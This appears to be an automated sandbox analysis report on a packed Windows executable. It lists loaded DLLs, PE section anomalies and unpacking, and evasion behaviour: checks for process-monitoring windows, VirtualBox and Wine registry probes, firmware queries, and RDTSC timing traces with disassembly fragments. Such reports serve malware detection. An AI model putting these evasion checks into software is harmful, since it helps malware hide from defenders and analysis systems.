Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1836032 > 1048576

Source: file.exe

Static PE information: Raw size of auhpbvcy is bigger than: 0x100000 < 0x196c00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.560000.0.unpack :EW;.rsrc :W;.idata :W; :EW;auhpbvcy:EW;ebxvgblb:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;auhpbvcy:EW;ebxvgblb:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cffcb should be: 0x1c6f8d

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: auhpbvcy
Source: file.exe	Static PE information: section name: ebxvgblb
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052E1F26 push edi; ret	0_3_052E1F35
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052E169C push esp; ret	0_3_052E169D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CC6B5B push 06068E14h; mov dword ptr [esp], esi	0_2_05CC6626
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CC75D3 push ebx; mov dword ptr [esp], esi	0_2_05CC8DA9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CC6DE2 push ebp; mov dword ptr [esp], ebx	0_2_05CC933C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CC6DF4 push 6A3AC200h; mov dword ptr [esp], ecx	0_2_05CC6E00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CC658F push esi; mov dword ptr [esp], eax	0_2_05CC6597
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CCC581 push ebp; mov dword ptr [esp], 0FBE1C9Eh	0_2_05CCD94A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CCC581 push 685716CAh; mov dword ptr [esp], ebp	0_2_05CCD956
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CC859F push edx; mov dword ptr [esp], ebx	0_2_05CC85B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CC4592 push eax; mov dword ptr [esp], esi	0_2_05CC4716
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CC4592 push 4FE4EBFEh; mov dword ptr [esp], ebp	0_2_05CC4E4B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CCC5AB push ecx; mov dword ptr [esp], 3F39C1B1h	0_2_05CCE198
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CCC5BE push 22DE91F6h; mov dword ptr [esp], ecx	0_2_05CCC5C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CCC5BE push eax; mov dword ptr [esp], edi	0_2_05CCC6E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CD3DBE push ecx; retf	0_2_05CD3DBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CC4D4D push 1D752CCFh; mov dword ptr [esp], ebx	0_2_05CC4D57
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CC6D5C push ecx; mov dword ptr [esp], 6B77CCB2h	0_2_05CC6D9E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CC6D5C push 1111976Ch; mov dword ptr [esp], edi	0_2_05CC6DAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CC4557 push ebx; mov dword ptr [esp], 6141C7A2h	0_2_05CC4C5A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CC4557 push 4F7A9C00h; mov dword ptr [esp], esi	0_2_05CC4E37
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CC7561 push edi; mov dword ptr [esp], ebp	0_2_05CC7562
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CCC578 push 5FD021EFh; mov dword ptr [esp], ecx	0_2_05CCCCEF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CCC578 push 30536921h; mov dword ptr [esp], esp	0_2_05CCDD45
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CD2D03 push ecx; mov dword ptr [esp], 759B34D3h	0_2_05CD2D27
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CD2D03 push esi; mov dword ptr [esp], 37E7A174h	0_2_05CD2D64
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CD2D03 push 63FC434Ah; mov dword ptr [esp], esi	0_2_05CD2DA6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CC4513 push 354C36C0h; mov dword ptr [esp], esi	0_2_05CC4518
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CC4513 push 443345FFh; mov dword ptr [esp], ebx	0_2_05CC4A41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CC752E push ebp; mov dword ptr [esp], edi	0_2_05CC7CA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CC652B push esi; mov dword ptr [esp], edi	0_2_05CC7438

Source: file.exe	Static PE information: section name: entropy: 7.972486359621843
Source: file.exe	Static PE information: section name: auhpbvcy entropy: 7.95322027475284

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D439 second address: 72D44C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63E478794Bh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D44C second address: 72D452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722FC5 second address: 722FCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C7E6 second address: 72C804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63E4B4E53Eh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push edi 0x0000000d jbe 00007F63E4B4E536h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C804 second address: 72C813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 ja 00007F63E4787946h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C813 second address: 72C83D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F63E4B4E536h 0x0000000c popad 0x0000000d jmp 00007F63E4B4E549h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72CD44 second address: 72CD4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F25E second address: 72F264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F2AA second address: 72F2F2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F63E4787953h 0x00000008 jmp 00007F63E478794Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 pushad 0x00000013 mov eax, edx 0x00000015 add edi, 4A54057Ch 0x0000001b popad 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f mov ecx, dword ptr [ebp+122D3707h] 0x00000025 pop ecx 0x00000026 push ED05AF6Fh 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F63E4787953h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F2F2 second address: 72F3A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E541h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 12FA5111h 0x00000010 mov cl, 37h 0x00000012 push 00000003h 0x00000014 push 00000000h 0x00000016 cld 0x00000017 push 00000003h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F63E4B4E538h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 add dword ptr [ebp+122D3404h], esi 0x00000039 call 00007F63E4B4E539h 0x0000003e pushad 0x0000003f pushad 0x00000040 jno 00007F63E4B4E536h 0x00000046 push edx 0x00000047 pop edx 0x00000048 popad 0x00000049 pushad 0x0000004a pushad 0x0000004b popad 0x0000004c pushad 0x0000004d popad 0x0000004e popad 0x0000004f popad 0x00000050 push eax 0x00000051 push eax 0x00000052 jnl 00007F63E4B4E538h 0x00000058 pop eax 0x00000059 mov eax, dword ptr [esp+04h] 0x0000005d jl 00007F63E4B4E54Fh 0x00000063 jmp 00007F63E4B4E549h 0x00000068 mov eax, dword ptr [eax] 0x0000006a pushad 0x0000006b jmp 00007F63E4B4E540h 0x00000070 jc 00007F63E4B4E53Ch 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F3A6 second address: 72F427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 jmp 00007F63E478794Ch 0x0000000e pop eax 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F63E4787948h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 add dh, FFFFFFDEh 0x0000002c jng 00007F63E4787948h 0x00000032 mov dword ptr [ebp+122D2D67h], edi 0x00000038 lea ebx, dword ptr [ebp+12447136h] 0x0000003e call 00007F63E478794Eh 0x00000043 jmp 00007F63E4787955h 0x00000048 pop edi 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c jne 00007F63E4787948h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F427 second address: 72F431 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F63E4B4E53Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F4A2 second address: 72F4CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E478794Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push eax 0x0000000d and esi, 5EDA6A63h 0x00000013 pop edx 0x00000014 push 00000000h 0x00000016 mov edx, ebx 0x00000018 push BD68E87Fh 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F4CD second address: 72F4D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F4D3 second address: 72F598 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E478794Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 42971801h 0x00000010 mov dword ptr [ebp+122D33EDh], ebx 0x00000016 push 00000003h 0x00000018 xor edi, dword ptr [ebp+122D37E3h] 0x0000001e push 00000000h 0x00000020 mov edx, edi 0x00000022 ja 00007F63E478794Ch 0x00000028 push 00000003h 0x0000002a push 00000000h 0x0000002c push ebp 0x0000002d call 00007F63E4787948h 0x00000032 pop ebp 0x00000033 mov dword ptr [esp+04h], ebp 0x00000037 add dword ptr [esp+04h], 00000015h 0x0000003f inc ebp 0x00000040 push ebp 0x00000041 ret 0x00000042 pop ebp 0x00000043 ret 0x00000044 mov esi, dword ptr [ebp+122D38B7h] 0x0000004a push 9650D0F1h 0x0000004f js 00007F63E478794Ah 0x00000055 push eax 0x00000056 pushad 0x00000057 popad 0x00000058 pop eax 0x00000059 xor dword ptr [esp], 5650D0F1h 0x00000060 jmp 00007F63E4787950h 0x00000065 lea ebx, dword ptr [ebp+1244713Fh] 0x0000006b mov ecx, dword ptr [ebp+122D391Bh] 0x00000071 xchg eax, ebx 0x00000072 pushad 0x00000073 jmp 00007F63E478794Ah 0x00000078 jmp 00007F63E4787950h 0x0000007d popad 0x0000007e push eax 0x0000007f pushad 0x00000080 push eax 0x00000081 push edx 0x00000082 jmp 00007F63E4787958h 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F598 second address: 72F59C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F651 second address: 72F666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F63E4787946h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007F63E4787946h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F666 second address: 72F66A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F66A second address: 72F6C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F63E4787948h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f nop 0x00000010 call 00007F63E4787959h 0x00000015 mov dword ptr [ebp+122D34D1h], edi 0x0000001b pop edx 0x0000001c mov ch, dl 0x0000001e push 00000000h 0x00000020 mov esi, dword ptr [ebp+122D36AFh] 0x00000026 call 00007F63E4787949h 0x0000002b jc 00007F63E478794Eh 0x00000031 push edi 0x00000032 js 00007F63E4787946h 0x00000038 pop edi 0x00000039 push eax 0x0000003a push eax 0x0000003b pushad 0x0000003c push eax 0x0000003d pop eax 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F6C2 second address: 72F6D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F6D1 second address: 72F6D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F6D5 second address: 72F6FD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [eax] 0x00000009 jng 00007F63E4B4E53Eh 0x0000000f push ebx 0x00000010 jne 00007F63E4B4E536h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F63E4B4E53Bh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F6FD second address: 72F7AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E478794Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov ecx, dword ptr [ebp+122D366Bh] 0x00000010 sbb ch, FFFFFFCEh 0x00000013 push 00000003h 0x00000015 jl 00007F63E4787948h 0x0000001b mov esi, edi 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push edi 0x00000022 call 00007F63E4787948h 0x00000027 pop edi 0x00000028 mov dword ptr [esp+04h], edi 0x0000002c add dword ptr [esp+04h], 0000001Ah 0x00000034 inc edi 0x00000035 push edi 0x00000036 ret 0x00000037 pop edi 0x00000038 ret 0x00000039 push 00000003h 0x0000003b sub dword ptr [ebp+122D3404h], ebx 0x00000041 push 93A8462Eh 0x00000046 jmp 00007F63E4787959h 0x0000004b xor dword ptr [esp], 53A8462Eh 0x00000052 movzx esi, bx 0x00000055 lea ebx, dword ptr [ebp+1244714Ah] 0x0000005b sub dword ptr [ebp+122D2BB6h], ebx 0x00000061 xchg eax, ebx 0x00000062 pushad 0x00000063 pushad 0x00000064 js 00007F63E4787946h 0x0000006a jmp 00007F63E478794Eh 0x0000006f popad 0x00000070 jne 00007F63E4787948h 0x00000076 popad 0x00000077 push eax 0x00000078 push eax 0x00000079 push edx 0x0000007a push eax 0x0000007b push edx 0x0000007c pushad 0x0000007d popad 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F7AC second address: 72F7B6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F63E4B4E536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F173 second address: 74F18D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F63E4787950h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FAD7 second address: 74FAEF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F63E4B4E536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007F63E4B4E53Eh 0x00000010 pushad 0x00000011 popad 0x00000012 jne 00007F63E4B4E536h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FC34 second address: 74FC38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FD9C second address: 74FDC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E548h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F63E4B4E541h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FEFB second address: 74FF15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4787956h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75009B second address: 7500A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7508EC second address: 7508F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7508F0 second address: 750900 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F63E4B4E536h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 750900 second address: 75091C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4787952h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75091C second address: 750920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 750BDC second address: 750BF2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F63E478794Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F63E4787946h 0x00000010 rdtsc
